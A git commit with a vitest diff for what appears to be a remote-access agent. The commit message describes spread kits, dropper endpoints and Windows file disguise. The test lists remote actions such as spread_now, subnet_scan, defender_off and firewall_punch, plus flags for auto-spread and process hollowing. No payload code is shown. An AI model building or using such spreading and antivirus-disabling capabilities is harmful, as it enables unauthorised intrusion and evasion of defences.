Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -1,4 +1,5 @@
import { describe, it, expect } from 'vitest';
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
'get_log',
'powershell',
'upload',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
/** Implemented in agent/client/client.go handleCommand switch. */
/** Implemented in agent/client (handleCommand + aggressive_commands). */
const AGENT_HANDLED = new Set([
'pause',
'resume',
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
'ipconfig',
'clipboard',
'wifi',
'hole_punch',
'hole_punch_close',
'hole_punch_status',
'spread_now',
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'mesh_status',
]);
describe('remote action wiring', () => {
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
expect(AGENT_HANDLED.has(action)).toBe(true);
}
});
it('gates hole punch when capability missing', () => {
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
});
it('blocks defender_off on darwin regardless of caps', () => {
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
});
});